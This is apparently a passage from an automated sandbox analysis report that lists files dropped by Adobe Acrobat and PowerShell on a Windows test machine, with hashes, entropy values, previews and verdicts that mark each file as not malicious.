SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfFldPeUkwRe9:YvXKXe7SbsdTeOmBGz8Ukee9
MD5:	1DFE6F62D480A6505EF6EE88312ADE39
SHA1:	A0BFB3E37332E524755EAF5D824DD9823228C9EA
SHA-256:	F1F78ADBB3896F8F718F085D1493127DA032CFFF85161D96F1973ED0DBAC09E9
SHA-512:	1927A93B3283DC1DEA54EE8DE063693826AE8A3F244A40EADB5E5DE1D305F55BDE59562F6DC52464D54136E3B3D2390AA3CCB88A71C4B7868DAC6577F91F6F6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3005548407704435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfzdPeUkwRe9:YvXKXe7SbsdTeOmBGb8Ukee9
MD5:	BDBF99937D36EBDBBA80C5F0D0344DD3
SHA1:	E0EA5DF600B2B971728BD724F6D43681EAE8A567
SHA-256:	863ABD5FD66CA1F1E13FB3443B38D155084552D417A1906415D3040D523949B8
SHA-512:	E59B6A42AE13B5FFFBE88166484A4028D688C783BFABA970FBC6F0E7E9D88DBF1EBB53499A6E3982470B6DF291D80E687DA8C0739FFEAD591ED648615B83404B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281348426923799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfYdPeUkwRe9:YvXKXe7SbsdTeOmBGg8Ukee9
MD5:	718CE6439E8355E71A2A888A0A0F2B4D
SHA1:	D7350FD0A2A37169B4C0DCC7198AAB2E90792AB7
SHA-256:	2D2FE830E05BCDD75033BA665ABE03D724FED23081C8048C0C04765894371D08
SHA-512:	FA85405BB20C707340CDAF6CDD2AA172581B4D34DE5F011CB90E95DFECB378AE50F8F2D9570E85C0A6F19881C021A1C8BE2B775025D0F334D0FC83166321DBB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.266752725448206
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJf+dPeUkwRe9:YvXKXe7SbsdTeOmBG28Ukee9
MD5:	EDF54FADEFBE97DD9A09A64EDC0D52D9
SHA1:	A2D484778B6C2DD5B7BDF199F7267C90FEB0D6A9
SHA-256:	95029D3DECC09E20509B402C64F6253631A559E947AA7E7074319930B3617C78
SHA-512:	4770163BCFBF0703D83DE42511555F3CE4464A86D586A0A7AF496432CAAD8C8EAE2CFA6D9507A756101D0F4E6D5ED8780AC3FDE87B9335C5C8A8A3FD880C68BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.265023714103342
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfbPtdPeUkwRe9:YvXKXe7SbsdTeOmBGDV8Ukee9
MD5:	F215F89DA174B9A82D58D57F8DCED8FC
SHA1:	87E79EE6F99041801D53A8FF4FFADD720EAB7655
SHA-256:	84B5A98FA2BC0AF07065AFE7A6EC7E27A95F089319AB02E41CB42125CEBA8A0D
SHA-512:	5D3F3F025FEB02C2A0E85109410B5C9AB31ED8012106656B5B1B8B336899AEE41D061E4DA4DFDF8BCD61ADF4402805B80D80A99B0E14FD6FC4F01E11E960F6EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.269992277868238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJf21rPeUkwRe9:YvXKXe7SbsdTeOmBG+16Ukee9
MD5:	6EFE8D51C5CEB1B27381176D5FD2D19F
SHA1:	22FA9572B7080FE59BACCCC81722FDCFDC3D5A49
SHA-256:	8916B663627BD5AF40A4B48C77328F17953505E4425FCAB07639D596451F772E
SHA-512:	9CDC7FF3E5BBD4E2ED1DB1D2D68BEF72787DC39BFD97988C66622C986A0BA90F23D73415654EA743F94822BF86C4491468E6542ADA7A028DB66F65D481A35D43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659953367781126
Encrypted:	false
SSDEEP:	24:Yv6XbmeOm6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+r:Yv/ej0BgkDMUJUAh8cvM+r
MD5:	9BE5A105B884DF583617B620139C2605
SHA1:	13D7154A6A1869238643C6FF9DF0F662EA6F1487
SHA-256:	5FA64FE4142E5526CDCB4139D2ECA99ED187FF43DE840FB73EA44ADC74C787A4
SHA-512:	C10A6F8A50D4805930DDEF179750A44F1EEDD65A0786649C3A4238710F20E13E86F33F28D7571F1D669F600D983B61472014C706BEE7D1B4DA2D44C75CEFC96D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243535629863895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfshHHrPeUkwRe9:YvXKXe7SbsdTeOmBGUUUkee9
MD5:	F66B1BEC414C6490229C851DF477FAC9
SHA1:	AF6DB7A03B9EC33E1BBCE9BA234D0D9CD34F0AA0
SHA-256:	888317EBB6E8FC8BBED872436BB756C32B0007512E2575DED24F67B5649F9D80
SHA-512:	C440929428697EC3FC1F71CC0DC50392F3D9538E4668ADE9FAD4C18FE08BEE8687151E0F53BEAD9553B19B17F66CAF5DE486B9F77BEA5B689ACCB8342A5341A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25937906315749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJTqgFCrPeUkwRe9:YvXKXe7SbsdTeOmBGTq16Ukee9
MD5:	689915712B7E8F170E6CF7EABB222E81
SHA1:	0DE6DAC1C6B98275EC5AE32277DA3FD6FA9BE2CB
SHA-256:	F26B14F4A36C1EF70EA3C99BF6F37AF801270516C57FDB182A24AE4B3175259D
SHA-512:	44B7E31F45EB2576EDFFA7CDA2493C656439BAB1C2BEF675DE002FBB761B304F828D8CB49A20148492C613E30D98D75DEB9E1754436EB39F29C9EA0F16FE2596
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1442495747770405
Encrypted:	false
SSDEEP:	24:Yos1Csax8ay3KR+qpb0FRz6WpYrUjoSj0SoAhA2dga82LSyCmOB9Ll4bFM51F4UO:Yos1Q2y0quY6okp6pAxmROCd4U91e
MD5:	AC939E380587655C3068F77D1EFC2A77
SHA1:	2D58E4B84FCB6E39AF484D17986C3DBE9E7958AF
SHA-256:	6D00C1FA145DD37BD752A4B23CCA3D0122E74893951BD659A5FD7B702AF348D4
SHA-512:	34FE0613FD7C9FEC3CAB18B0CADB47B90404791B5BB7B7AD372D656405D0541CE478CA52B328609ED53E93F46C99DBA8420606FB9CA6E01D74E5B348F66E3B0F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a7b6fb91d45a9f2ae1dd9b02d040d1e3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542533000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"44e7ebae14c831d5915ba23320136df1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542533000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9ebcda2a4a4dfe2b8d237a20bea65779","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542533000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"312f50a318b2e93c8051138d22c60af2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542533000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b78bd7056ee2064ab6a10413d7c33431","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542533000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4139490c6b31579a6fcbc4b672d43a68","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4551245591537738
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds2RW0lERWu:lNVmsw3SHtbDbPe0K3+fDZdPwBwu
MD5:	9DE20F1F842BACAD5F9AF573CE73EBB1
SHA1:	1C7E0D08EBDB858B046A59CF344A609840663A75
SHA-256:	BE645CF1888186116859D3C5D9CDA7996FA0A0A8FC6822F619185341546903BA
SHA-512:	D49A10872EF5FECB1B0082D2AFFA3D23D90FEA58E7E810230FEB6F35EACD975715CEB510AAB196288239BD95ADB24C7E2A7CB77F15ACF3C16C9D5704C6C7660E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9562038518525768
Encrypted:	false
SSDEEP:	48:7M0rvrBd6dHtbGIbPe0K3+fDy2ds2RWRFqFl2GL7msi:7J3SHtbDbPe0K3+fDZdPwzKVmsi
MD5:	12BB71A8655355E9BCFB51D5B7AEA218
SHA1:	0AEEA6CC7AF2CBBBFAA476DDB8C804D0FCC2B900
SHA-256:	1367BA0EB5F64590225BA8432D91F7DBA1E3EEC1F8C4FC89734B99FD4E33AE82
SHA-512:	4A4E93B7CCBDE86D9703131B55C624B8526AFD37D9330E673A0795BFF3137C7DA8BDC6363A7B1A3B09B776A060DB66B1BAE5737AE29DF63086DE904A3C164BBC
Malicious:	false
Preview:	.... .c.....#.m_......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgy2idtAoXmzqAae7jXfv/s/hgYyu:6a6TZ44ADEy2iHAoXmO86GK
MD5:	2E7101B5D1D4ADEB724C97DFB2F997F5
SHA1:	E874E2AC469CF884CE43065227A9568A454FF00F
SHA-256:	DC312CB635DD8AABF78C22BC37A322EAFFC4D37C822149ABFE6C2B5131DCEBD2
SHA-512:	697303F518EDCC16E9756839D600011BF31329F28E6F1DA09AF8192E7A3E11A12EE8B13B1CBA008219C5FF237B6EA61C2CC38E32C300BDAEFFCFD4DF628F6068
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI267b6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEVhwlYH:Qw946cPbiOxDlbYnuRK+bDV2lYH
MD5:	6447EB23B47A3AE5923BFE3784BE784A
SHA1:	A5C4CBCF475AC9F32D2276FD8C1F390823E580FD
SHA-256:	42F34C8DA4A7E66F859A001A11AF2E02AFC18BE6530DCE5EAC7F29F1C6CB7493
SHA-512:	CF34C95526EE4DB6EEC2E63FF99C869686EBE88E2159A0EEC87FA9504053D6C12C62844E597C94C49B38B53E99AAD5F24FE9C4D9914DCC1DFFF8D8A11721AE21
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.5.5.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xxxkhij.wx1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cjiv04jt.yw3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-55-25-492.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3100876728786774
Encrypted:	false
SSDEEP:	384:GTXWnnKMMW+j0ljO/9QrYqYJBChcrEkqnESG0cdRk5NC8N4cEz3XKtKHCe492XcZ:nA+
MD5:	308084C10181884C5415DFFB40AE3053
SHA1:	B42E9D93F341264555FEC513523B2DAF2FF6CA09
SHA-256:	50C579A7A12F8406E46247B281B960F7890930E46124070DF0C5057F7CFBFEA9
SHA-512:	FB90C64EC12041D5A8BA085CC5D0C04161A230BC48644023E4CD1DDECC91894E96F51EBD3B8D0D4DD858ECDE08A1AA4807EC3C8D3C61402FAA3B20D76F8D187C
Malicious:	false
Preview:	SessionID=037c82f3-855d-44f2-bc06-a0c0f1eeab32.1736542525507 Timestamp=2025-01-10T15:55:25:507-0500 ThreadID=1664 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=037c82f3-855d-44f2-bc06-a0c0f1eeab32.1736542525507 Timestamp=2025-01-10T15:55:25:513-0500 ThreadID=1664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=037c82f3-855d-44f2-bc06-a0c0f1eeab32.1736542525507 Timestamp=2025-01-10T15:55:25:513-0500 ThreadID=1664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=037c82f3-855d-44f2-bc06-a0c0f1eeab32.1736542525507 Timestamp=2025-01-10T15:55:25:513-0500 ThreadID=1664 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=037c82f3-855d-44f2-bc06-a0c0f1eeab32.1736542525507 Timestamp=2025-01-10T15:55:25:513-0500 ThreadID=1664 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406640223673505
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRbdRd6is:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRa
MD5:	E8EED6963BF8BF1383A053B2879416D6
SHA1:	F7447BD1600CEDF34DBAEDCE053DC1DB349F6AEF
SHA-256:	65A9F59E7E12EF6C5CB3BB06A813DF1B8E75B1DEABDBFA6C50B93E480F5A773E
SHA-512:	1B07A7184FB5DD6F8985BE65DC27D83436DC100F655176BAEB26438A8778B3F6BD54545C9B58CC9EC294900ED06B341A0F0EC3839E356195972F7DED1EAA0A7C
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3c84765c-d119-4a07-aef9-74d982d4ed7f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
